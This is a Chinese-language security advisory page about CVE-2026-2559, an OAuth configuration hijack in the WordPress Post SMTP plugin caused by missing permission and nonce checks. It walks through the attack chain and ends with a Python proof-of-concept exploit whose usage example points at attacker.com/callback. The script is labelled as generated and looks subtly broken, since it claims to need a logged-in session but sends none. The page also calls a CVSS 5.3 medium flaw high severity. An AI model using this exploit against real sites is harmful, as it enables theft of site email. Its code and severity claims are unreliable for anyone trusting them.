IPBUF安全漏洞报告
English
CVE-2026-2559 CVSS 5.3 中危

CVE-2026-2559 WordPress Post SMTP插件OAuth配置劫持漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-2559
漏洞类型
缺少权限控制
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Post SMTP plugin for WordPress

相关标签

CVE-2026-2559WordPress插件漏洞OAuth配置劫持Post SMTP缺少权限检查Microsoft365Azure AD业务逻辑漏洞CSRF认证绕过

漏洞概述

CVE-2026-2559是WordPress Post SMTP插件中的一个高危安全漏洞,存在于所有版本直至3.8.0。该漏洞源于`handle_office365_oauth_redirect()`函数在挂钩到`admin_init`时缺少必要的权限验证和nonce检查。由于没有`current_user_can()`验证,任何具有Subscriber级别及以上权限的认证用户都可以触发该函数。攻击者可以通过构造恶意URL,覆盖目标站点的Office 365 OAuth邮件配置,包括访问令牌、刷新令牌和用户邮箱地址。这将导致管理员在后续配置Microsoft365 SMTP(仅Pro版本可用)时,误认为攻击者控制的Azure应用程序是自己合法的应用,从而将插件连接到攻击者的账户。攻击成功后,攻击者可以窃取所有通过该插件发送的邮件内容,严重威胁通信安全。

技术细节

漏洞存在于Post SMTP插件的Postman/Wizard/NewWizard.php文件中。该插件的`handle_office365_oauth_redirect()`函数直接挂钩到WordPress的`admin_init`动作钩子,但未执行任何权限检查。正常的安全实践要求在处理敏感操作前应调用`current_user_can()`进行权限验证,并使用`wp_verify_nonce()`验证请求的合法性。攻击者只需构造类似`/wp-admin/admin-post.php?action=post_smtp_office365_oauth_redirect&code=xxx&state=xxx`的URL即可触发配置覆盖。函数在第104行和第2109行的实现中,直接将OAuth回调参数存储到数据库的`s_post_smtp_oauth2_token_data`选项中,覆盖原有的合法配置。攻击者需要预先注册一个Azure AD应用程序,获取client_id和client_secret,然后利用该漏洞将受害者站点重定向到其控制的回调URL,骗取管理员信任后完成OAuth授权流程。

攻击链分析

STEP 1
步骤1
攻击者注册Azure AD应用程序:攻击者在Microsoft Azure门户注册一个OAuth应用程序,获取client_id和client_secret,配置回调URL指向自己的服务器
STEP 2
步骤2
获取WordPress访问权限:攻击者在目标WordPress站点注册账户(最低Subscriber角色),或利用已有的低权限账户
STEP 3
步骤3
发送恶意请求:攻击者构造包含OAuth回调参数的特殊URL,通过社交工程或直接发送HTTP请求触发`handle_office365_oauth_redirect()`函数
STEP 4
步骤4
覆盖OAuth配置:由于缺少权限检查和nonce验证,攻击者的恶意配置(access_token、refresh_token、user_email)被写入数据库的`s_post_smtp_oauth2_token_data`选项
STEP 5
步骤5
等待管理员操作:管理员登录后台,升级到Pro版本,配置Microsoft365 SMTP时,WordPress会使用被篡改的OAuth配置
STEP 6
步骤6
劫持邮件通信:管理员误以为连接的是自己的Azure应用,实际上已连接到攻击者账户,所有邮件收发都会经过攻击者控制的服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from urllib.parse import urlencode # CVE-2026-2559 PoC - Post SMTP Office365 OAuth Configuration Hijacking # Target: WordPress site with Post SMTP plugin <= 3.8.0 # Author: Generated PoC def exploit_oauth_redirect(target_url, attacker_callback_url): """ Exploit the missing capability check in handle_office365_oauth_redirect() This allows authenticated users (subscriber+) to overwrite OAuth config """ # Craft the malicious OAuth redirect URL # The function is hooked to admin_init without nonce verification exploit_params = { 'action': 'post_smtp_office365_oauth_redirect', 'code': 'attacker_access_token_or_authorization_code', 'state': 'attacker_session_state', 'redirect_uri': attacker_callback_url } # Target the admin-post.php endpoint exploit_url = f"{target_url.rstrip('/')}/wp-admin/admin-post.php" print(f"[*] Target: {target_url}") print(f"[*] Exploit URL: {exploit_url}") print(f"[*] Sending crafted request...") # Send the exploit request (requires authenticated session with subscriber+ role) response = requests.get(exploit_url, params=exploit_params, allow_redirects=False) print(f"[*] Response Status: {response.status_code}") if response.status_code in [200, 302]: print("[+] Request sent successfully") print("[+] OAuth configuration may have been overwritten") print("[+] Next: Wait for admin to configure Pro version SMTP") print("[+] Admin will unknowingly connect to attacker's Azure app") else: print("[-] Exploit failed") return response if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <attacker_callback_url>") print(f"Example: python {sys.argv[0]} http://victim.com https://attacker.com/callback") sys.exit(1) target = sys.argv[1] callback = sys.argv[2] exploit_oauth_redirect(target, callback)

影响范围

Post SMTP plugin for WordPress <= 3.8.0

防御指南

临时缓解措施
如果无法立即升级,可临时禁用Post SMTP插件的Office365 OAuth功能,或在wp-config.php中添加访问限制。同时检查并移除所有未经授权的OAuth应用程序授权记录,确保没有可疑的Azure AD应用连接到站点。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表